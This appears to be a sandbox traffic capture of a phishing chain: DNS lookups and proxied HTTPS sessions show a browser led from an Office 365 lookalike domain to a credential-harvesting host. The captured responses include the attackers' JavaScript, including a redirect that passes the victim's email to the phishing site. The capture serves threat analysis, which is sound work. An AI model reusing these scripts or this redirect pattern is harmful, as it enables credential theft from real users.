Nov 12, 2024 17:29:49.638487101 CET	8.8.8.8	192.168.2.22	0xf3a9	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:29:49.638487101 CET	8.8.8.8	192.168.2.22	0xf3a9	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:49.638571978 CET	8.8.8.8	192.168.2.22	0x8350	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:29:49.638571978 CET	8.8.8.8	192.168.2.22	0x8350	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:29:49.638571978 CET	8.8.8.8	192.168.2.22	0x8350	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:49.639988899 CET	8.8.8.8	192.168.2.22	0x1527	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:29:49.639988899 CET	8.8.8.8	192.168.2.22	0x1527	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:29:49.646541119 CET	8.8.8.8	192.168.2.22	0xcb73	No error (0)	tvrcedjrhte.cpchenm.com		2.59.163.43	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:49.662106037 CET	8.8.8.8	192.168.2.22	0x3b54	No error (0)	tvrceocprq.cpchenm.com		2.59.163.43	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:49.886049032 CET	8.8.8.8	192.168.2.22	0xadda	No error (0)	tvrcehrvetbr.cpchenm.com		2.59.163.43	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:56.696572065 CET	8.8.8.8	192.168.2.22	0x8f2	No error (0)	tvrcemejeff.cpchenm.com		2.59.163.43	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:56.816044092 CET	8.8.8.8	192.168.2.22	0x572a	No error (0)	tvrcehrvetbr.cpchenm.com		2.59.163.43	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:30:00.204641104 CET	8.8.8.8	192.168.2.22	0xbd75	No error (0)	tvrcemejeff.cpchenm.com		2.59.163.43	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:30:00.212320089 CET	8.8.8.8	192.168.2.22	0x25a6	No error (0)	r4.res.office365.com	r4.res.office365.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:30:00.214874983 CET	8.8.8.8	192.168.2.22	0x6bee	No error (0)	r4.res.office365.com	r4.res.office365.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:30:00.884166002 CET	8.8.8.8	192.168.2.22	0x7a8c	No error (0)	tvrcemejeff.cpchenm.com		2.59.163.43	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:30:00.891609907 CET	8.8.8.8	192.168.2.22	0xf2e2	No error (0)	tvrcemeheff.cpchenm.com		2.59.163.43	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

office365-fileshare.ru

https:

cpchenm.com

tvrcemeheff.cpchenm.com

tvrceocprq.cpchenm.com

tvrcedjrhte.cpchenm.com

tvrcehrvetbr.cpchenm.com

tvrcemejeff.cpchenm.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49171	188.114.97.3	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:11 UTC	739	OUT	GET /?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf HTTP/1.1 Host: office365-fileshare.ru Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 16:29:12 UTC	1160	IN	HTTP/1.1 302 Found Date: Tue, 12 Nov 2024 16:29:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: LRkpLmIajJQMupJl/muUKZumHSauUPQAUTNdXGinnGykxWedqtUjvNiqDQizHBOf?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=71ALk127ox9lgClMo5sU%2BVEYdF1n8As1ntBZpfn1wC0JL4JTpUTLCRXMK5j6XNDjDSix57qYT%2F0Cma9luVyFaR0%2BQWf%2B7i3gQUPTWDy1zSF95xw1AcXh721AGoHTx%2Bd4Ugj839hB%2BLnM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e17e6462851e771-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19245&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2859&recv_bytes=1317&delivery_rate=151758&cwnd=32&unsent_bytes=0&cid=010c91fe2f5c86a2&ts=931&x=0"
2024-11-12 16:29:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49173	188.114.97.3	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:13 UTC	849	OUT	GET /LRkpLmIajJQMupJl/muUKZumHSauUPQAUTNdXGinnGykxWedqtUjvNiqDQizHBOf?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf HTTP/1.1 Host: office365-fileshare.ru Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
2024-11-12 16:29:14 UTC	980	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:29:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qW2p2V%2Bq9cEcjLZA0eeMigCHUKTBwES6Y4M%2Fr9UywYBl3FPAkMH4R%2FPcMLMq%2BxNukr%2FeMDkgbv6nFU5DVrhretq7kfjxAQm%2BgE0HhB%2FcSwxTwJSLjg1Wzi2TeoItjsPKhZPm%2F%2BRtdDfL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e17e64f6f502e24-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1558&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2860&recv_bytes=1427&delivery_rate=1834072&cwnd=251&unsent_bytes=0&cid=a144cc18820798c0&ts=646&x=0"
2024-11-12 16:29:14 UTC	279	IN	Data Raw: 31 31 30 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 66 65 74 63 68 28 27 47 4d 71 52 70 54 57 62 51 6b 74 4f 2f 51 46 56 6e 5a 62 58 6d 64 76 47 67 65 4e 59 71 72 5a 4e 6f 61 6e 6a 58 71 4f 4d 71 43 4b 6f 6c 69 78 66 2f 79 63 70 55 49 6e 42 56 4f 51 27 2c 20 7b 6d 65 74 68 6f 64 3a 20 22 50 4f 53 54 22 2c 68 65 61 64 65 72 73 3a 20 7b 0d 0a 20 20 20 20 20 20 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 3a 20 27 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 27 0d 0a 20 20 20 20 7d 2c 62 6f 64 79 3a 20 27 36 4c 65 49 78 41 63 54 41 41 41 41 41 47 47 2d 76 46 49 31 54 6e 52 57 78 4d 5a 4e 46 75 6f 6a 4a 34 57 69 66 4a 57 65 27 7d 29 2e 74 68 65 6e 28 28 29 20 3d 3e 20 6c 6f 63 61 74 69 6f 6e 2e 72 Data Ascii: 110 <script> fetch('GMqRpTWbQktO/QFVnZbXmdvGgeNYqrZNoanjXqOMqCKolixf/ycpUInBVOQ', {method: "POST",headers: { 'Content-Type': 'application/x-www-form-urlencoded' },body: '6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe'}).then(() => location.r
2024-11-12 16:29:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49174	188.114.97.3	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:14 UTC	895	OUT	POST /LRkpLmIajJQMupJl/GMqRpTWbQktO/QFVnZbXmdvGgeNYqrZNoanjXqOMqCKolixf/ycpUInBVOQ HTTP/1.1 Host: office365-fileshare.ru Connection: keep-alive Content-Length: 40 sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://office365-fileshare.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/muUKZumHSauUPQAUTNdXGinnGykxWedqtUjvNiqDQizHBOf?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
2024-11-12 16:29:14 UTC	40	OUT	Data Raw: 36 4c 65 49 78 41 63 54 41 41 41 41 41 47 47 2d 76 46 49 31 54 6e 52 57 78 4d 5a 4e 46 75 6f 6a 4a 34 57 69 66 4a 57 65 Data Ascii: 6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe
2024-11-12 16:29:15 UTC	953	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:29:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IRTUcBwNCccQOqqDSA5gfcrGcumBTuvfj%2BrPPC%2BcXeFtIvO%2BGNTZHYGg6WM9FLN%2BIbsARI0LjRJwixU76L%2Bs8KVBtZYBANyFZ%2Bhvp5xsEUIV6Qa5sl%2BXBbk3dYA7yXyKcbZQrJ2QA3f0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e17e6579da13156-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1416&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2858&recv_bytes=1535&delivery_rate=2058280&cwnd=251&unsent_bytes=0&cid=fed4d0885e5eb83b&ts=771&x=0"
2024-11-12 16:29:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49175	188.114.97.3	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:14 UTC	784	OUT	GET /favicon.ico HTTP/1.1 Host: office365-fileshare.ru Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/muUKZumHSauUPQAUTNdXGinnGykxWedqtUjvNiqDQizHBOf?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
2024-11-12 16:29:15 UTC	949	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:29:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iwig9q9EoTaBpVx6xXMpfAWm5HpLY8A%2Be4bK2gZvi3UJ%2BjGw7B6YOcO%2B%2BTkPuKN7c6xWiqg%2BLEl4i6IB6LZ0tn%2BLRY4nfqj9Z1WM6flRjRnrwvz2vaVmj1kvfhXcKej9tfziQwrK5CHY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e17e657fbf2e75d-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18741&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2859&recv_bytes=1362&delivery_rate=154181&cwnd=32&unsent_bytes=0&cid=95f0cc7cd17edd00&ts=720&x=0"
2024-11-12 16:29:15 UTC	41	IN	Data Raw: 32 33 0d 0a 3c 73 63 72 69 70 74 3e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 23<script>location.reload();</script>
2024-11-12 16:29:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49177	188.114.97.3	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:16 UTC	1041	OUT	GET /LRkpLmIajJQMupJl/muUKZumHSauUPQAUTNdXGinnGykxWedqtUjvNiqDQizHBOf?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf HTTP/1.1 Host: office365-fileshare.ru Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/muUKZumHSauUPQAUTNdXGinnGykxWedqtUjvNiqDQizHBOf?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
2024-11-12 16:29:17 UTC	1107	IN	HTTP/1.1 302 Found Date: Tue, 12 Nov 2024 16:29:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: YoJnCCuSWjPniRIM/TjSgkUGrEdVpcvKAsaskuKUkLiwUFwkraMkMnOzEQIGtIHpC?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kpOoN2V5J0E89kpNwkest8bmvX5DNNrVHJL7ThDX%2B3dlH6pKQAGNCv0JNhiUIQkczZJyc5Zjpzdwyl%2BxHY%2Fs0urEjw%2FX9fiz2HjVtyfab%2BQrVOocrd0%2F6bbAdpeJ9rO79QSR2vjvKA8%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e17e6605a0beab9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1564&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2860&recv_bytes=1641&delivery_rate=2185660&cwnd=251&unsent_bytes=0&cid=f862ac4566149d99&ts=1702&x=0"
2024-11-12 16:29:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49179	188.114.97.3	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:16 UTC	468	OUT	GET /LRkpLmIajJQMupJl/GMqRpTWbQktO/QFVnZbXmdvGgeNYqrZNoanjXqOMqCKolixf/ycpUInBVOQ HTTP/1.1 Host: office365-fileshare.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
2024-11-12 16:29:17 UTC	968	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:29:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WRIjaqR10kTGqlFCYAU9FGKqylRC5m7EZ9v3WnQFvlbiUX5O7%2BGN%2FjB0IIZ5U7x2mfCQDhF68dm34LqhEKL3NWdsJpTCFe0PagCpzr1UxKtvbSclhjHaeCftRzRQgEYD9MeRlipvu%2B5q"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e17e660b8db51e2-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18960&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2859&recv_bytes=1046&delivery_rate=153846&cwnd=32&unsent_bytes=0&cid=e3a1101f765f3db2&ts=1658&x=0"
2024-11-12 16:29:17 UTC	229	IN	Data Raw: 64 66 0d 0a 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 73 3a 2f 2f 63 70 63 68 65 6e 6d 2e 63 6f 6d 2f 42 59 4d 55 52 62 79 73 2e 30 2e 30 2e 31 23 52 65 69 6e 70 75 74 5f 45 6d 61 69 6c 27 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 72 65 70 6c 61 63 65 41 6c 6c 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2b 27 2f 2f 27 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2e 74 6f 53 74 72 69 6e 67 28 29 2c 20 27 27 29 29 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: df<script>window.location.replace('https://cpchenm.com/BYMURbys.0.0.1#Reinput_Email' + window.location.href.replaceAll(window.location.protocol+'//'+window.location.hostname+window.location.pathname.toString(), ''));</script>
2024-11-12 16:29:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49180	188.114.97.3	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:16 UTC	403	OUT	GET /favicon.ico HTTP/1.1 Host: office365-fileshare.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
2024-11-12 16:29:16 UTC	944	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:29:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B9LoXdoZ0J%2FEfEOBOPv9VsKPu2XOa5OKx7W93W1huiG4%2FdGlfJM8rZ3CMh%2F4osP6wVcIcECHYFxUFGDOjSCD0uYgPNE6cWaU6gNA3VMmnAc0%2BSL1pADuh0nfddP7sdDDWLDRT9Mxq6kX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e17e660ce66e773-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19193&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2860&recv_bytes=981&delivery_rate=153878&cwnd=32&unsent_bytes=0&cid=5cbe5a5ef4638d27&ts=805&x=0"
2024-11-12 16:29:16 UTC	41	IN	Data Raw: 32 33 0d 0a 3c 73 63 72 69 70 74 3e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 23<script>location.reload();</script>
2024-11-12 16:29:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49178	188.114.97.3	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:17 UTC	1059	OUT	GET /LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/TjSgkUGrEdVpcvKAsaskuKUkLiwUFwkraMkMnOzEQIGtIHpC?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf HTTP/1.1 Host: office365-fileshare.ru Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/muUKZumHSauUPQAUTNdXGinnGykxWedqtUjvNiqDQizHBOf?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
2024-11-12 16:29:18 UTC	973	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:29:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zf9KeNDHcBuQIEPWZ9ZBOMqI3d2mulI1Mym1kddnVhQdU11QXnOFhfK2zIllHSxjrcNhXAuGHhkXQCpSil1re%2BvN9LL9Y2XQ9%2BvJ%2Fn4rdsujExX6bib8cFhH%2FjYMUwtoI49pkG%2BaWBBJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e17e66b0fd76b17-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1057&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2858&recv_bytes=1659&delivery_rate=2616079&cwnd=250&unsent_bytes=0&cid=01cffff5c8125a47&ts=2374&x=0"
2024-11-12 16:29:18 UTC	265	IN	Data Raw: 31 30 32 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 66 65 74 63 68 28 27 56 70 64 75 78 4d 5a 52 2f 43 56 78 73 4c 44 6b 67 4f 57 6b 53 4c 4b 67 56 57 4c 52 44 45 2f 43 4e 52 64 57 75 65 6a 75 74 4d 65 4f 65 27 2c 20 7b 6d 65 74 68 6f 64 3a 20 22 50 4f 53 54 22 2c 68 65 61 64 65 72 73 3a 20 7b 0d 0a 20 20 20 20 20 20 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 3a 20 27 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 27 0d 0a 20 20 20 20 7d 2c 62 6f 64 79 3a 20 27 36 4c 65 49 78 41 63 54 41 41 41 41 41 47 47 2d 76 46 49 31 54 6e 52 57 78 4d 5a 4e 46 75 6f 6a 4a 34 57 69 66 4a 57 65 27 7d 29 2e 74 68 65 6e 28 28 29 20 3d 3e 20 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 29 3b 0d 0a 3c 2f 73 Data Ascii: 102 <script> 